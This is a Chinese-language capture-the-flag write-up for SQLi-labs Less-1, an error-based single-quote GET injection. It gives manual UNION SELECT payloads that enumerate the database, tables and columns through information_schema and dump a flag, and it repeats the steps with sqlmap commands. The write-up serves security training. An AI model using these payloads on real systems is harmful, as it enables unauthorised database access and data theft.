靶场地址:
PwnTheBox - Hacking Platform - CTF Platform - CTF平台 - 网络安全竞赛平台
Less-1
GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
方式一:手动注入
输入单引号,发现页面报错(通过在url中修改对应的id值。为正常数字、大数字、字符、(单引号、双引号、双单引号、括号)、反斜杆来探测url是否存在注入点)
?id=1'
这里它意味着使用查询是:
SELECT * FROM users WHERE id='1'' LIMIT 0,1
下面我们就要进行注入测试,我们输入到order by 4
时报错,所以可以判断当前字段值为3
现在就可以暴库名
?id=-1' union select 1,database(),version() --+
然后得到库名“security”
根据库名暴表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查到了 J1sVbiYQ,emails,referers,uagents,users ,从中我们可以猜测 J1sVbiYQ中有可能存在flag
根据我们的猜想暴列名(字段)
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=' J1sVbiYQ' --+
得到列名 id,flag
所以我们的猜想没有错误
暴值
?id=-1' union select 1,2,group_concat(id,flag) from J1sVbiYQ --+
之后就会在下面出现flag(PTB)
方法二:sqlmap工具注入
根据题目,直接使用常规注入
进行暴库
sqlmap.py -u url?id=1 --dbs
然后会出现跟上面手动注入一样的数据库,之后进行暴表
sqlmap.py -u url?id=1-D security --tables
暴列名和值(也可以分开,只要重复上述步骤)
sqlmap.py -u url?id=1-D security -T J1sVbiYQ -- column --dump
就会出来flag